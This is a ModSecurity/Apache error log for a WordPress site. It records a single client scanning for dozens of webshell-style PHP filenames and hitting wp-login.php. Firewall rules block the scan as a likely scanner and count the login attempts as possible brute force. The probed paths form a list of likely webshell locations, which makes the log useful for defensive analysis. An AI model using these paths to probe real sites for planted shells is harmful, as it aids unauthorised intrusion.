[Fri Apr 10 23:51:32.188474 2026] [:error] [pid 63134:tid 63153] [client 20.251.194.172:31946] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/900.php"] [unique_id "adkchNFALqPDwWi6eJLRYQAAA9A"]
[Fri Apr 10 23:51:33.495270 2026] [:error] [pid 13101:tid 13157] [client 20.251.194.172:56804] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/900.php"] [unique_id "adkchd8Ldw85818pj2or8AAAAJg"]
[Fri Apr 10 23:51:34.076440 2026] [:error] [pid 13189:tid 13199] [client 20.251.194.172:36227] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/900.php"] [unique_id "adkchpAxiJKPums3eBAbHgAAAEc"]
[Fri Apr 10 23:51:35.090524 2026] [:error] [pid 62769:tid 62792] [client 20.251.194.172:18283] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blsvgeyaza.php"] [unique_id "adkch8WsSnfLoB8ifjDXtQAAAlU"]
[Fri Apr 10 23:51:35.709848 2026] [:error] [pid 62769:tid 62795] [client 20.251.194.172:25615] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blsvgeyaza.php"] [unique_id "adkch8WsSnfLoB8ifjDXugAAAlg"]
[Fri Apr 10 23:51:36.971262 2026] [:error] [pid 13189:tid 13216] [client 20.251.194.172:37602] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blsvgeyaza.php"] [unique_id "adkciJAxiJKPums3eBAbLwAAAFg"]
[Fri Apr 10 23:51:37.758569 2026] [:error] [pid 13101:tid 13157] [client 20.251.194.172:36256] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blsvgeyaza.php"] [unique_id "adkcid8Ldw85818pj2or-gAAAJg"]
[Fri Apr 10 23:51:38.400220 2026] [:error] [pid 13189:tid 13206] [client 20.251.194.172:36261] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gqhyti.php"] [unique_id "adkcipAxiJKPums3eBAbNQAAAE4"]
[Fri Apr 10 23:51:38.957588 2026] [:error] [pid 62769:tid 62781] [client 20.251.194.172:47098] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gqhyti.php"] [unique_id "adkcisWsSnfLoB8ifjDXygAAAko"]
[Fri Apr 10 23:51:40.271062 2026] [:error] [pid 62769:tid 62791] [client 20.251.194.172:31988] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gqhyti.php"] [unique_id "adkcjMWsSnfLoB8ifjDX2QAAAlQ"]
[Fri Apr 10 23:51:42.924897 2026] [:error] [pid 62769:tid 62778] [client 20.251.194.172:31968] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gqhyti.php"] [unique_id "adkcjsWsSnfLoB8ifjDX3gAAAkc"]
[Fri Apr 10 23:51:43.932491 2026] [:error] [pid 62769:tid 62795] [client 20.251.194.172:47042] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoxxi.php"] [unique_id "adkcj8WsSnfLoB8ifjDX6QAAAlg"]
[Fri Apr 10 23:51:44.594023 2026] [:error] [pid 62769:tid 62781] [client 20.251.194.172:36283] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoxxi.php"] [unique_id "adkckMWsSnfLoB8ifjDX8AAAAko"]
[Fri Apr 10 23:51:45.278847 2026] [:error] [pid 13189:tid 13216] [client 20.251.194.172:47047] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoxxi.php"] [unique_id "adkckZAxiJKPums3eBAbTgAAAFg"]
[Fri Apr 10 23:51:45.945858 2026] [:error] [pid 13189:tid 13199] [client 20.251.194.172:25636] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoxxi.php"] [unique_id "adkckZAxiJKPums3eBAbUgAAAEc"]
[Fri Apr 10 23:51:46.657836 2026] [:error] [pid 62710:tid 62734] [client 20.251.194.172:56781] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1144452145_error_log.php"] [unique_id "adkckuME7qrf5xEWWJtPXgAAAhU"]
[Fri Apr 10 23:51:47.182549 2026] [:error] [pid 62710:tid 62716] [client 20.251.194.172:18021] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1144452145_error_log.php"] [unique_id "adkck-ME7qrf5xEWWJtPYgAAAgM"]
[Fri Apr 10 23:51:47.957406 2026] [:error] [pid 63134:tid 63148] [client 20.251.194.172:30357] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1144452145_error_log.php"] [unique_id "adkck9FALqPDwWi6eJLRagAAA8s"]
[Fri Apr 10 23:51:48.632393 2026] [:error] [pid 62769:tid 62778] [client 20.251.194.172:18241] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1144452145_error_log.php"] [unique_id "adkclMWsSnfLoB8ifjDYCQAAAkc"]
[Fri Apr 10 23:51:49.239328 2026] [:error] [pid 62769:tid 62785] [client 20.251.194.172:25781] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "adkclcWsSnfLoB8ifjDYEgAAAk4"]
[Fri Apr 10 23:51:50.040723 2026] [:error] [pid 13189:tid 13212] [client 20.251.194.172:18298] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "adkclpAxiJKPums3eBAbXwAAAFQ"]
[Fri Apr 10 23:51:50.865402 2026] [:error] [pid 62769:tid 62786] [client 20.251.194.172:31939] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "adkclsWsSnfLoB8ifjDYJQAAAk8"]
[Fri Apr 10 23:51:52.030384 2026] [:error] [pid 62651:tid 62656] [client 20.251.194.172:25624] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "adkcmDbAH0le57SIaqw9WwAAAcM"]
[Fri Apr 10 23:51:52.835341 2026] [:error] [pid 62769:tid 62787] [client 20.251.194.172:31981] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "adkcmMWsSnfLoB8ifjDYOwAAAlA"]
[Fri Apr 10 23:51:53.422728 2026] [:error] [pid 63134:tid 63153] [client 20.251.194.172:18260] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "adkcmdFALqPDwWi6eJLRcgAAA9A"]
[Fri Apr 10 23:51:54.291039 2026] [:error] [pid 13100:tid 13121] [client 20.251.194.172:63910] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "adkcmlzg-ZkZ0InWIP3VXAAAARA"]
[Fri Apr 10 23:51:55.125538 2026] [:error] [pid 62769:tid 62789] [client 20.251.194.172:36271] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "adkcm8WsSnfLoB8ifjDYTgAAAlI"]
[Fri Apr 10 23:51:56.417487 2026] [:error] [pid 62769:tid 62780] [client 20.251.194.172:37572] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adkcnMWsSnfLoB8ifjDYWgAAAkk"]
[Fri Apr 10 23:51:57.154304 2026] [:error] [pid 62769:tid 62777] [client 20.251.194.172:14594] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adkcncWsSnfLoB8ifjDYXgAAAkY"]
[Fri Apr 10 23:51:58.688610 2026] [:error] [pid 62769:tid 62784] [client 20.251.194.172:25733] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adkcnsWsSnfLoB8ifjDYcQAAAk0"]
[Fri Apr 10 23:51:59.251846 2026] [:error] [pid 63062:tid 63065] [client 20.251.194.172:31287] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adkcn52HtsmV85NqkMcXiwAAA4E"]
[Fri Apr 10 23:52:00.205928 2026] [:error] [pid 62884:tid 62902] [client 20.251.194.172:18040] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adkcoOUCK1xrhnnmpo2e1wAAAss"]
[Fri Apr 10 23:52:00.930320 2026] [:error] [pid 62710:tid 62736] [client 20.251.194.172:47086] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adkcoOME7qrf5xEWWJtPrQAAAhc"]
[Fri Apr 10 23:52:01.680530 2026] [:error] [pid 13101:tid 13146] [client 20.251.194.172:46794] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adkcod8Ldw85818pj2osBQAAAI0"]
[Fri Apr 10 23:52:02.307651 2026] [:error] [pid 62769:tid 62780] [client 20.251.194.172:25611] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adkcosWsSnfLoB8ifjDYiQAAAkk"]
[Fri Apr 10 23:52:03.143579 2026] [:error] [pid 13189:tid 13201] [client 20.251.194.172:18284] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "adkco5AxiJKPums3eBAbbQAAAEk"]
[Fri Apr 10 23:52:04.059874 2026] [:error] [pid 62710:tid 62733] [client 20.251.194.172:47083] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "adkcpOME7qrf5xEWWJtPvgAAAhQ"]
[Fri Apr 10 23:52:04.888344 2026] [:error] [pid 13189:tid 13204] [client 20.251.194.172:46846] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "adkcpJAxiJKPums3eBAbbwAAAEw"]
[Fri Apr 10 23:53:42.812086 2026] [:error] [pid 63134:tid 63151] [client 20.251.194.172:46797] [client 20.251.194.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.251.194.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adkdBtFALqPDwWi6eJLSCAAAA84"]
[Fri Apr 10 23:54:06.806394 2026] [:error] [pid 63134:tid 63149] [client 20.251.194.172:46797] [client 20.251.194.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.251.194.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adkdHtFALqPDwWi6eJLSNAAAA8w"]
[Fri Apr 10 23:54:39.453969 2026] [:error] [pid 62769:tid 62788] [client 20.251.194.172:31963] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "adkdP8WsSnfLoB8ifjDaQAAAAlE"]
[Fri Apr 10 23:54:40.549466 2026] [:error] [pid 63062:tid 63067] [client 20.251.194.172:25621] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "adkdQJ2HtsmV85NqkMcYOAAAA4M"]
[Fri Apr 10 23:54:41.310047 2026] [:error] [pid 13189:tid 13196] [client 20.251.194.172:56811] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "adkdQZAxiJKPums3eBAdGQAAAEQ"]
[Fri Apr 10 23:54:42.028605 2026] [:error] [pid 13189:tid 13205] [client 20.251.194.172:18036] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "adkdQpAxiJKPums3eBAdHwAAAE0"]
[Fri Apr 10 23:54:42.568190 2026] [:error] [pid 13101:tid 13142] [client 20.251.194.172:18032] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "adkdQt8Ldw85818pj2otLwAAAIk"]
[Fri Apr 10 23:54:44.038629 2026] [:error] [pid 62710:tid 62735] [client 20.251.194.172:63866] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "adkdROME7qrf5xEWWJtQwQAAAhY"]
[Fri Apr 10 23:54:44.730348 2026] [:error] [pid 62710:tid 62726] [client 20.251.194.172:25639] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "adkdROME7qrf5xEWWJtQxgAAAg0"]
[Fri Apr 10 23:54:45.388524 2026] [:error] [pid 62710:tid 62719] [client 20.251.194.172:56710] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "adkdReME7qrf5xEWWJtQygAAAgY"]
[Fri Apr 10 23:54:46.800676 2026] [:error] [pid 13101:tid 13148] [client 20.251.194.172:47057] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adkdRt8Ldw85818pj2otQgAAAI8"]
[Fri Apr 10 23:54:47.512753 2026] [:error] [pid 62884:tid 62907] [client 20.251.194.172:18273] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adkdR-UCK1xrhnnmpo2fLQAAAtA"]
[Fri Apr 10 23:54:48.303059 2026] [:error] [pid 63134:tid 63150] [client 20.251.194.172:30360] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adkdSNFALqPDwWi6eJLSXgAAA80"]
[Fri Apr 10 23:54:48.880676 2026] [:error] [pid 13100:tid 13113] [client 20.251.194.172:25732] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adkdSFzg-ZkZ0InWIP3WFwAAAQg"]
[Fri Apr 10 23:54:49.444436 2026] [:error] [pid 13189:tid 13211] [client 20.251.194.172:56798] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "adkdSZAxiJKPums3eBAdMwAAAFM"]
[Fri Apr 10 23:54:50.178716 2026] [:error] [pid 62769:tid 62776] [client 20.251.194.172:18264] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "adkdSsWsSnfLoB8ifjDaWgAAAkU"]
[Fri Apr 10 23:54:50.846367 2026] [:error] [pid 13189:tid 13216] [client 20.251.194.172:31944] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "adkdSpAxiJKPums3eBAdOAAAAFg"]
[Fri Apr 10 23:54:51.789560 2026] [:error] [pid 13101:tid 13147] [client 20.251.194.172:18011] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "adkdS98Ldw85818pj2otYgAAAI4"]
